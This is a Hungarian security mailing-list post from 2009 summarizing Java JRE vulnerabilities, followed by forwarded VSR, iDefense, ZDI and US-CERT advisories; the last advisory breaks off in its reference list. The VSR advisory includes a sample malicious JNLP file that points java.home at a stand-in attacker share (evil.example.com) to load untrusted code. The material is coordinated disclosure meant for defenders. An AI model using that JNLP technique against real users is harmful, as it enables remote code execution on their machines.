[guru] Java biztonsagi frissitesek
DATE: Wed, 21 Jan 2009 00:42:10 +0100
A Java Web Start által használt JNLP állományokban sok esetben felülírhatóak
fontos rendszer paraméterek, mint például a java.home valamint az include
könyvtár. Windows rendszereken a támadó hálózati meghajtót is megadhat,
ilyenkor pedig a kripto könyvtár kicserélésével szabadon futtathat kódot a
rendszeren.
Heap és integer overflow hibákat találtak a JRE TrueType font kezelésében.
A Sun Java Web Start induláskor megjelenített képernyője tetszőleges
GIF állományt meg tud jeleníteni, de a fejléc feldolgozásakor heap overflow
hibát tartalmaz.
A JRE pack200 dekompresszora integer overflow hibát tartalmaz, aminek
hatására kód futtatásra nyílik lehetőség.
Heap overflow hibát találtak az AWT könyvtárban, a támadó számára kód
futtatást tesz lehetővé.
A SingleInstanceImpl osztály SI_FILEDIR tulajdonsága segítségével
kideríthető a felhasználó neve, valamint a pontos cache könyvtár, az
applet-ek hozzáférhetnek a fájlrendszerhez, valamint a socket korlátozások
is kikerülhetőek.
Az UTF-8 dekódoláskor nem figyeltek arra, hogy a kanonikus mellett az
érvénytelen hosszabb karakter kódolásokat is elfogadták, ezzel pl. CR,
LF, kettőspont vagy egyéb karakterek is átjuttathatók a szűrőkön.
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Virtual Security Research, LLC.
http://www.vsecurity.com/
Security Advisory
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Advisory Name: Java Web Start File Inclusion via System Properties Override
Release Date: 2008-12-03
Application: Sun Java Runtime Environment / Java Web Start
Versions: See below
Severity: High
Author: Timothy D. Morgan <tmorgan {a} vsecurity.com>
Vendor Status: Patch Released [3]
CVE Candidate: CVE-2008-2086
Reference: http://www.vsecurity.com/bulletins/advisories/2008/JWS-props.txt
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Product Description
- -------------------
- From [1]:
"Using Java Web Start technology, standalone Java software applications
can be deployed with a single click over the network. Java Web Start
ensures the most current version of the application will be deployed,
as well as the correct version of the Java Runtime Environment (JRE)."
Vulnerability Overview
- ----------------------
On March 27th, VSR identified a vulnerability in Java Web Start related
to the execution of privileged applications. This flaw could allow an
attacker to execute arbitrary code on a victim system if a user could be
convinced to visit a malicious web site.
Product Background
- ------------------
Java Web Start (JWS) applications are launched through specially
formatted XML files hosted on web sites with a "jnlp" file extension.
These files reference one or more "jar" files which are meant to be
downloaded and executed by client systems. JWS applications are run in
unprivileged mode by default but may be run with full user privileges if
the jnlp file requests this access. Privileged JWS applications must
have each jar file signed by the same trusted author in order to be
executed. However, jnlp files are not signed and may be hosted by
third-party web sites.
In addition to specifying application components, the jnlp specification
permits application authors to supply certain System properties which
may be retrieved by the application through the System.getProperty() and
System.getProperties() methods. Besides any user-supplied properties,
the Java VM also provides access to a number of sensitive runtime
settings through this interface.
More information on the jnlp format may be found in [2].
Vulnerability Details
- ---------------------
VSR discovered an unsafe behavior in the way properties are interpreted
when specified in jnlp files. In certain versions of the Java Runtime
Engine (JRE), values supplied through jnlp files override existing
system defaults. Thus far, VSR has verified the following System
properties may be overridden:
java.home
java.ext.dirs
user.home
Of particular interest are the java.home and java.ext.dirs properties.
If an attacker could lure a victim to open a malicious jnlp file which
references a trusted application, it may be executed without any
confirmation by the user. However, as the application attempts to load
classes, it may trust the malicous java.home and/or java.ext.dirs value.
These paths could point to a malicious local or remote JRE or extensions
installation. It appears that under Windows, UNC network paths may be
used for the java.home value. It is not yet known whether or not UNC
paths may be used for java.ext.dirs.
During testing, VSR found that Java Cryptography Extension (JCE) classes
failed to load when java.home was set to an invalid path. However, by
setting this path to network share which hosted a valid JRE
installation, the JCE classes loaded correctly. If such a network share
were hosted by the attacker, then arbitrary code could potentially be
loaded without restrictions, unbeknownst to the victim.
The following XML shows what a malicious jnlp file might look like.
Note that the malicious jnlp file would likely be very similar to the
ones users normally rely on with certain properties overriden in the
resources section.
<jnlp spec="1.0+" codebase="http://trusted.example.org/" href="evil.jnlp">
<information>
<title>Trusted Application</title>
<vendor>Trusted Vendor</vendor>
<description>Trusted Application by Trusted Vendor</description>
<homepage href="http://trusted.example.org/" />
<offline-allowed />
</information>
<security><all-permissions /></security>
<resources>
<j2se version="1.5+" />
<!-- Next line overrides the JRE's java.home System property -->
<property name="java.home" value="\\evil.example.com\jre" />
<jar href="signed-and-trusted-jce-dependent-library.jar" />
</resources>
<application-desc main-class="org.example.trusted.app.StartApp" />
</jnlp>
To fully exploit this specific attack vector, an attacker would need to
remotely or locally host a malicious version of classes used by a
trusted application and then lure a user into opening a malicious jnlp
file. A firewall installed between the attacker and victim could
mitigate this issue if the victim's machine were restricted from
accessing the hosted network share.
Note that certain JWS applications may trust other System properties,
such as user.home, and use them in ways which could be exploited in
application-specific variants of this attack.
Versions Affected
- -----------------
During testing, VSR found the following JRE versions to be vulnerable:
* 1.5.0_15 on Windows
* 1.6.0 on Windows
* 1.5.0_13-b05-237 on Mac OS X (distributed by Apple)
Version 1.6.0_05 on Windows did not appear to be vulnerable. However,
Sun recommends that any installations with the following versions be
updated:
* JDK and JRE 6 Update 10 and earlier
* JDK and JRE 5.0 Update 16 and earlier
* SDK and JRE 1.4.2_18 and earlier
Sun reports that JRE 1.3.x is not affected, nor is JRE 6 Update 7 for
Intel Itanium. For more information on versions affected and updates,
see [3].
Vendor Response
- ---------------
The following timeline details Sun's response to the reported issue:
2008-03-28 Sun was provided a draft advisory.
2008-03-28 An initial response was received from Sun.
2008-04-11 Sun reported that the issue could not be reproduced.
2008-04-11 VSR provided Sun additional exploit details.
2008-04-29 Sun reported the issue was reproduced and assigned
an internal issue tracking number of CR 6694892.
2008-12-03 Sun Alert 244988 was released with an associated security
update.
Sun Alert 244988 may be obtained at:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1
Recommendation
- --------------
Apply the JRE update as soon as possible. The issue is fixed in:
* JDK and JRE 6 Update 11 or later
* JDK and JRE 5.0 Update 17 or later
* SDK and JRE 1.4.2_19 or later
Review Sun Alert 244988 [3] for information on how to temporarily
disable Java Web Start to work around this issue.
Common Vulnerabilities and Exposures (CVE) Information
- ------------------------------------------------------
The Common Vulnerabilities and Exposures (CVE) project has assigned
the number CVE-2008-2086 to this issue. This is a candidates for
inclusion in the CVE list (http://cve.mitre.org), which standardizes
names for security problems.
Acknowledgements
- ----------------
Thanks to George Gal for assistance in testing. VSR would like to thank
Sun for cooperating in the patch development process.
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
References:
1. Java Web Start Technology
http://java.sun.com/products/javawebstart/
2. Java Web Start Architecture JNLP Specification & API Documentation
http://java.sun.com/products/javawebstart/download-spec.html
3. Sun Alert 244988
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1
- -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Copyright 2008 Virtual Security Research, LLC. All rights reserved.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)
iD8DBQFJN1kCQ1RSUNR+T+gRAl6TAJ9LmdTw8S4K3RMpgseiw/AkHUc81ACeK+pn
cXqD3636+kFoMIUNlNhVZUw=
=yv7u
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 12.02.08
http://labs.idefense.com/intelligence/vulnerabilities/
Dec 02, 2008
I. BACKGROUND
The Sun Java JRE is Sun's implementation of the Java runtime. For more
information, see the vendor's site found at the following link.
http://www.java.com
II. DESCRIPTION
Remote exploitation of a heap overflow vulnerability in Sun Microsystems
Inc.'s Java JRE could allow an attacker to execute arbitrary code with
the privileges of the current user.
The vulnerability exists within the font parsing code in the JRE.
Various types of fonts are supported, one of which is the TrueType
format font. The vulnerability occurs when processing TrueType font
files. During parsing, improper bounds checking is performed, which can
lead to a heap based buffer overflow.
III. ANALYSIS
Exploitation allows attackers to execute arbitrary code in the context
of the currently logged-on user. To exploit this vulnerability, a
targeted user must load a malicious Web page created by an attacker. An
attacker typically accomplishes this via social engineering or injecting
content into compromised, trusted sites.
The content of the overflow buffer undergoes a series of transformations
during the font decoding process. The data is not entirely controlled by
the attacker, but there is likely enough control to allow for the
overwriting of critical data structures in a manner that makes
exploitation possible.
IV. DETECTION
iDefense has confirmed the existence of this vulnerability in Sun
Microsystem Inc.'s Java JRE version 1.6.0_07 for Windows. Previous
versions and versions for other platforms may also be affected.
V. WORKAROUND
iDefense is currently unaware of any workarounds for this vulnerability.
VI. VENDOR RESPONSE
Sun Microsystem Inc. has released a patch which addresses this issue.
For more information, consult their advisories at the following URL.
http://onesearch.sun.com/onesearch/index.jsp?qt=Bug%206751322&charset=UTF-8
VII. CVE INFORMATION
A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.
VIII. DISCLOSURE TIMELINE
09/10/2008 Initial Vendor Notification
10/28/2008 Initial Vendor Reply
11/25/2008 Additional Vendor Feedback
12/02/2008 Coordinated Public Disclosure
IX. CREDIT
This vulnerability was discovered by Sean Larsson, iDefense Labs.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright © 2008 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
~ There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFJODJZbjs6HoxIfBkRAk1nAKDt6PFkGPu1QmIuloDG9N9V4yc3FQCglUAH
P+jmeMp9co0KtkQe1M57hwk=
=1EjC
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 12.02.08
http://labs.idefense.com/intelligence/vulnerabilities/
Dec 02, 2008
I. BACKGROUND
Java Web Start (JWS) is a framework built by Sun that is used to run
Java applications outside of the browser. It is distributed with the
Java Runtime Environment (JRE) installation. JWS is typically launched
by clicking on a link in the browser, and results in a separate process
being started that is not tied to the JVM inside of the browser. A file
contains various parameters that describe the Java application to be
run. For more information, see the vendor's site found at the following
link.
http://java.sun.com/javase/technologies/desktop/javawebstart/index.jsp
II. DESCRIPTION
Remote exploitation of a memory corruption vulnerability in Sun
Microsystems Inc.'s Java Web Start could allow an attacker to execute
arbitrary code with the privileges of the current user.
When JWS starts up, it displays a splash screen. By default, the image
displayed on this splash screen is a GIF file provided by Sun, but it
is possible for an attacker to pass an arbitrary GIF file to the splash
logo parsing code.
The vulnerability occurs when parsing this GIF file. The parsing code
does not correctly validate several values in the GIF header. This lets
an attacker write data outside of the bounds of an allocated heap
buffer, which can lead to the execution of arbitrary code.
III. ANALYSIS
Exploitation of this vulnerability results in the execution of arbitrary
code with the privileges of the user. There are several ways to exploit
this vulnerability. In Internet Explorer 6, after the user visits the
malicious web page, no further user interaction is needed. However, in
FireFox and Internet Explorer 7, the user will be presented with the
'File Open' confirmation dialog, and will have to accept opening the
file. It would also be possible for an attacker to e-mail an infected
file to a user, or place it on a shared network drive. In this
situation, a targeted user would need to manually open the file.
Even though the vulnerability is likely to be triggered through the
browser, the actual vulnerability occurs in the Web Start binary. Since
this vulnerability allows for relatively precise control of the area and
content of memory corrupted, reliable exploitation is possible.
IV. DETECTION
iDefense has confirmed the existence of this vulnerability in Java Web
Start version 1.6_10 and 1.6_07 on Windows and Linux. Previous versions
may also be affected.
V. WORKAROUND
On Windows, it is possible to prevent automatic exploitation by double
clicking such a file, or opening it through the browser by removing the
file associations for JNLP files. However, if a user specifically
selects the Java Web Start application to open the JNLP file,
exploitation is still possible. This can be done by removing the
registry key for .jnlp in the 'HKEY_CLASSES_ROOT' registry hive.
An additional workaround which will prevent all exploitation attempts is
to rename the splashscreen library so that Java Web Start will not be
able to load it. This file is found in different locations depending on
the platform and installation choices, but one such location is:
C:\Program Files\Java\jre6\bin\splashscreen.dll
Renaming this file to splashscreen.dll.bak will prevent it from being
loaded.
VI. VENDOR RESPONSE
Sun Microsystems Inc. has released a patch which addresses this issue.
For more information, consult their advisory at the following URL.
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244987-1
VII. CVE INFORMATION
A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.
VIII. DISCLOSURE TIMELINE
10/01/2008 Initial Vendor Notification
11/05/2008 Initial Vendor Reply
11/25/2008 Additional Vendor Feedback
12/02/2008 Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by regenrecht.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright © 2008 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
~ There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFJOE4Ibjs6HoxIfBkRAq7lAKDWvrsT2+KJSfwTUA4hVm0PZBhG2wCg28SF
2g/yCJEYuFi+VeZOd0h9LFI=
=F+J5
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 12.02.08
http://labs.idefense.com/intelligence/vulnerabilities/
Dec 02, 2008
I. BACKGROUND
Pack200 is a compression method introduced by Sun in the 1.5 release of
the JRE. It is used to compress Jar files, and is optimized for the
compression of Java class files. A Java applet can be compressed using
the pack200 tool, and if the browser plugin supports the pack200-gzip
encoding it will pass the compressed Jar file to the JRE for unpacking.
For more information, see the vendor's site at the following links.
http://www.sun.com/java/
http://java.sun.com/j2se/1.5.0/docs/guide/deployment/deployment-guide/pack200.html
II. DESCRIPTION
Remote exploitation of an integer overflow vulnerability in Sun
Microsystems Inc.'s Java JRE could allow an attacker to execute
arbitrary code with the privileges of the current user.
The vulnerability occurs when reading the Pack200 compressed Jar file
during decompression. In order to calculate the size of a heap buffer,
the code multiplies and adds several integers. The bounds of these
values are not checked, and the arithmetic operations can overflow.
This results in an undersized buffer being allocated, which leads to a
heap based buffer overflow.
III. ANALYSIS
Exploitation allows attackers to execute arbitrary code in the context
of the currently logged-on user. To exploit this vulnerability, a
targeted user must load a malicious Web page created by an attacker. An
attacker typically accomplishes this via social engineering or injecting
content into compromised, trusted sites.
Exploitation of heap overflow vulnerabilities on modern operating
systems can at times be difficult due to various heap integrity
protections. However, the Pack200 code uses a custom allocator that
does not contain such integrity checks. Labs testing has demonstrated
that code execution is possible on the Linux platform. A similar
methodology is likely to be successful on the Windows platform.
IV. DETECTION
iDefense has confirmed the existence of this vulnerability in Sun
Microsystem Inc.'s Java JRE version 1.6.0_07 for Windows and Linux.
According to Sun, Pack200 was first introduced in JRE 1.5.0. The latest
version of JRE 1.5, 1.5.0_15, does contain the vulnerable code, but the
browser plugin does not handle Pack200 encoding. As such, exploitation
through the browser does not appear to be possible with JRE 1.5.
V. WORKAROUND
The library containing the vulnerability can be renamed, which will
prevent it from being loaded. This workaround will prevent users from
loading Pack200 format Jar files, and from using the pack/unpack tools
that come with the JRE. However, normal applets and Java applications
will continue to function correctly. The vulnerable library is called
'unpack', and can be found in:
"%SYSTEMDRIVE%\Program Files\Java\JAVA VERSION\bin\unpack.dll"
on Windows, and in differing locations dependent upon the
distribution/platform on Unix systems.
VI. VENDOR RESPONSE
Sun Microsystem Inc.'s has released a patch which addresses this issue.
For more information, consult their advisory at the following URL.
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244992-1
VII. CVE INFORMATION
A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.
VIII. DISCLOSURE TIMELINE
10/02/2008 Initial Vendor Notification
11/25/2008 Initial Vendor Reply
12/02/2008 Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by regenrecht.
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright © 2008 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
~ There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFJOFMPbjs6HoxIfBkRAt4LAKDhmj/ozNKfY4ivEyfBzlaEWUIWMwCfWhzp
QSiD+sqZ2PGexeNSYO3XVrI=
=oup8
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
iDefense Security Advisory 12.02.08
http://labs.idefense.com/intelligence/vulnerabilities/
Dec 02, 2008
I. BACKGROUND
The Sun Java JRE is Sun's implementation of the Java runtime. For more
information, see the vendor's site found at the following link.
II. DESCRIPTION
Remote exploitation of an integer overflow vulnerability in Sun
Microsystems Inc.'s Java JRE could allow an attacker to execute
arbitrary code with the privileges of the current user.
The vulnerability exists within the font parsing code in the JRE. As
part of its font API, the JRE provides the ability to load a font from
a remote URL. Various types of fonts are supported, one of which is the
TrueType format font. The vulnerability occurs when parsing various
structures in TrueType font files. During parsing, values are taken
from the file, and without being properly validated, used in operations
that calculate the number of bytes to allocate for heap buffers. The
calculations can overflow, resulting in a potentially exploitable heap
overflow.
III. ANALYSIS
Exploitation allows attackers to execute arbitrary code in the context
of the currently logged on user. To exploit this vulnerability, a
targeted user must load a malicious web page created by an attacker. An
attacker typically accomplishes this via social engineering or injecting
content into compromised, trusted sites.
IV. DETECTION
iDefense has confirmed the existence of this vulnerability in Sun
Microsystem Inc.'s Java JRE version 1.6.0_05 for Windows. Previous
versions may also be affected.
V. WORKAROUND
There is a potential workaround for the vulnerability, but it renders
the JRE unusable. It is possible to use the cacls program to change the
file permissions on fontmanager.dll. This will prevent the vulnerable
library from loading. However, this workaround has a serious impact on
the functionality of the JRE. When a webpage attempts to load an
applet, the JRE will abort with a runtime error, and the browser will
close.
VI. VENDOR RESPONSE
Sun Microsystem Inc. has released a patch which addresses this issue.
For more information, consult their advisory at the following URL.
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244987-1
VII. CVE INFORMATION
A Mitre Corp. Common Vulnerabilities and Exposures (CVE) number has not
been assigned yet.
VIII. DISCLOSURE TIMELINE
07/31/2008 Initial Vendor Notification
08/01/2008 Initial Vendor Reply
10/21/2008 Additional Vendor Feedback
11/26/2008 Additional Vendor Feedback
12/02/2008 Coordinated Public Disclosure
IX. CREDIT
This vulnerability was reported to iDefense by Sebastian Apelt
(webmaster@buzzworld.org).
Get paid for vulnerability research
http://labs.idefense.com/methodology/vulnerability/vcp.php
Free tools, research and upcoming events
http://labs.idefense.com/
X. LEGAL NOTICES
Copyright © 2008 iDefense, Inc.
Permission is granted for the redistribution of this alert
electronically. It may not be edited in any way without the express
written consent of iDefense. If you wish to reprint the whole or any
part of this alert in any other medium other than electronically,
please e-mail customerservice@idefense.com for permission.
Disclaimer: The information in the advisory is believed to be accurate
at the time of publishing based on currently available information. Use
of the information constitutes acceptance for use in an AS IS condition.
~ There are no warranties with regard to this information. Neither the
author nor the publisher accepts any liability for any direct,
indirect, or consequential loss or damage arising from use of, or
reliance on, this information.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.7 (MingW32)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org
iD8DBQFJOFsZbjs6HoxIfBkRAkAXAKCustwzLXcOKMcDJ1sZ0GonmW4F8ACg6Dva
mqtkKX2/C9fA7aiyNDRtgbA=
=Oo+F
-----END PGP SIGNATURE-----
--- End Message ---
--- Begin Message ---
ZDI-08-080: Sun Java AWT Library Sandbox Violation Vulnerability
http://www.zerodayinitiative.com/advisories/ZDI-08-080
December 4, 2008
-- Affected Vendors:
Sun Microsystems
-- Affected Products:
Sun Microsystems Java Runtime
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 6249.
For further product information on the TippingPoint IPS, visit:
http://www.tippingpoint.com
-- Vulnerability Details:
This vulnerability allows remote attackers to execute arbitrary code on
vulnerable installations of Sun Microsystems Java. User interaction is
required in that a user must open a malicious file or visit a malicious
web page.
The specific flaw occurs within the Java AWT library. If a custom image
model is used for the source 'Raster' during a conversion through a
'ConvolveOp' operation, the imaging library will calculate the size of
the destination raster for the conversion incorrectly leading to a
heap-based overflow. This can result in arbitrary code execution under
the context of the current user.
-- Vendor Response:
Sun Microsystems has issued an update to correct this vulnerability. More
details can be found at:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244987-1
-- Disclosure Timeline:
2008-04-16 - Vulnerability reported to vendor
2008-12-04 - Coordinated public release of advisory
-- Credit:
This vulnerability was discovered by:
* Anonymous
-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
CONFIDENTIALITY NOTICE: This e-mail message, including any attachments,
is being sent by 3Com for the sole use of the intended recipient(s) and
may contain confidential, proprietary and/or privileged information.
Any unauthorized review, use, disclosure and/or distribution by any
recipient is prohibited. If you are not the intended recipient, please
delete and/or destroy all copies of this message regardless of form and
any included attachments and notify 3Com immediately by contacting the
sender via reply e-mail or forwarding to 3Com at postmaster@3com.com.
--- End Message ---
--- Begin Message ---
ZDI-08-081: Sun Java Web Start and Applet Multiple Sandbox Bypass
Vulnerabilities
http://www.zerodayinitiative.com/advisories/ZDI-08-081
December 4, 2008
-- Affected Vendors:
Sun Microsystems
-- Affected Products:
Sun Microsystems Java Runtime
-- TippingPoint(TM) IPS Customer Protection:
TippingPoint IPS customers have been protected against this
vulnerability by Digital Vaccine protection filter ID 5527, 4714.
For further product information on the TippingPoint IPS, visit:
http://www.tippingpoint.com
-- Vulnerability Details:
These vulnerabilities allow remote attackers to bypass sandbox
restrictions on vulnerable installations of Sun Java Web Start. User
interaction is required to exploit this vulnerability in that the target
must visit a malicious page.
The first vulnerability results in a cache location and a user name
information disclosure. By accessing the SI_FILEDIR property of a
SingleInstanceImpl class, the location of the temporary single instance
files can be parsed to discover the user name and cache location.
The second vulnerability allows applets to read any file on a victim's
filesystem, outside of the restricted path of the applet. The specific
flaw exists in the handling of the file: protocol assigned to an applet
codebase. If the codebase points to the local filesystem, any file is
then readable by the malicious applet.
The third vulnerability allows JNLP files to bypass socket restrictions.
By loading a secondary JNLP with an href attribute containing a
wildcard. When this object is instantiated, all hosts are eligible for
socket connect and accept.
-- Vendor Response:
Sun Microsystems has issued an update to correct this vulnerability. More
details can be found at:
http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1
-- Disclosure Timeline:
2008-07-14 - Vulnerability reported to vendor
2008-12-04 - Coordinated public release of advisory
-- Credit:
This vulnerability was discovered by:
* Peter Csepely
-- About the Zero Day Initiative (ZDI):
Established by TippingPoint, The Zero Day Initiative (ZDI) represents
a best-of-breed model for rewarding security researchers for responsibly
disclosing discovered vulnerabilities.
Researchers interested in getting paid for their security research
through the ZDI can find more information and sign-up at:
http://www.zerodayinitiative.com
The ZDI is unique in how the acquired vulnerability information is
used. TippingPoint does not re-sell the vulnerability details or any
exploit code. Instead, upon notifying the affected product vendor,
TippingPoint provides its customers with zero day protection through
its intrusion prevention technology. Explicit details regarding the
specifics of the vulnerability are not exposed to any parties until
an official vendor patch is publicly available. Furthermore, with the
altruistic aim of helping to secure a broader user base, TippingPoint
provides this vulnerability information confidentially to security
vendors (including competitors) who have a vulnerability protection or
mitigation product.
Our vulnerability disclosure policy is available online at:
http://www.zerodayinitiative.com/advisories/disclosure_policy/
CONFIDENTIALITY NOTICE: This e-mail message, including any attachments,
is being sent by 3Com for the sole use of the intended recipient(s) and
may contain confidential, proprietary and/or privileged information.
Any unauthorized review, use, disclosure and/or distribution by any
recipient is prohibited. If you are not the intended recipient, please
delete and/or destroy all copies of this message regardless of form and
any included attachments and notify 3Com immediately by contacting the
sender via reply e-mail or forwarding to 3Com at postmaster@3com.com.
--- End Message ---
--- Begin Message ---
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
National Cyber Alert System
Technical Cyber Security Alert TA08-340A
Sun Java Updates for Multiple Vulnerabilities
Original release date: December 05, 2008
Last revised: --
Source: US-CERT
Systems Affected
Sun Java Runtime Environment versions
* JDK and JRE 6 Update 10 and earlier
* JDK and JRE 5.0 Update 16 and earlier
* SDK and JRE 1.4.2_18 and earlier
* SDK and JRE 1.3.1_23 and earlier
Overview
Sun has released alerts to address multiple vulnerabilities
affecting the Sun Java Runtime Environment. The most severe of
these vulnerabilities could allow a remote attacker to execute
arbitrary code.
I. Description
The Sun Java Runtime Environment (JRE) allows users to run Java
applications in a browser or as standalone programs. Sun has
released updates to the Java Runtime Environment software to
address multiple vulnerabilities.
Sun released the following alerts to address these issues:
* 244986 : The Java Runtime Environment Creates Temporary Files
That Have "Guessable" File Names
* 244987 : Java Runtime Environment (JRE) Buffer Overflow
Vulnerabilities in Processing Image Files and Fonts May Allow
Applets or Java Web Start Applications to Elevate Their Privileges
* 244988 : Multiple Security Vulnerabilities in Java Web Start
and Java Plug-in May Allow Privilege Escalation
* 244989 : The Java Runtime Environment (JRE) "Java Update"
Mechanism Does Not Check the Digital Signature of the JRE that it
Downloads
* 244990 : A Buffer Overflow Vulnerability in the Java Runtime
Environment (JRE) May Allow Privileges to be Escalated
* 244991 : A Security Vulnerability in the Java Runtime
Environment (JRE) Related to Deserializing Calendar Objects May
Allow Privileges to be Escalated
* 245246 : The Java Runtime Environment UTF-8 Decoder May Allow
Multiple Representations of UTF-8 Input
* 246266 : Security Vulnerability in Java Runtime Environment May
Allow Applets to List the Contents of the Current User's Home
Directory
* 246286 : Security Vulnerability in the Java Runtime Environment
With Processing RSA Public Keys
* 246346 : A Security Vulnerability in Java Runtime Environment
(JRE) With Authenticating Users Through Kerberos May Lead to a
Denial of Service (DoS)
* 246366 : Security Vulnerabilities in the Java Runtime
Environment (JRE) JAX-WS and JAXB Packages may Allow Privileges to
be Escalated
* 246386 : A Security Vulnerability in Java Runtime Environment
(JRE) With Parsing of Zip Files May Allow Reading of Arbitrary
Memory Locations
* 246387 : A Security Vulnerability in the Java Runtime
Environment may Allow Code Loaded From the Local Filesystem to
Access LocalHost
II. Impact
The impacts of these vulnerabilities vary. The most severe of these
vulnerabilities allows a remote attacker to execute arbitrary code.
III. Solution
Apply an update from Sun
These issues are addressed in the following versions of the Sun
Java Runtime Environment:
* JDK and JRE 6 Update 11
* JDK and JRE 5.0 Update 17
* SDK and JRE 1.4.2_19
* SDK and JRE 1.3.1_24
If you install the latest version of Java, older versions may
remain installed on your computer. If you do not need these older
versions, you can remove them by following Sun's instructions.
Disable Java
Disable Java in your web browser, as described in the Securing Your
Web Browser document. While this does not fix the underlying
vulnerabilities, it does block a common attack vector.
IV. References
* Sun Alert 244986 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244986-1>
* Sun Alert 244987 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244987-1>
* Sun Alert 244988 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244988-1>
* Sun Alert 244989 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244989-1>
* Sun Alert 244990 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244990-1>
* Sun Alert 244991 -
<http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1>
* Sun Alert 245246 -
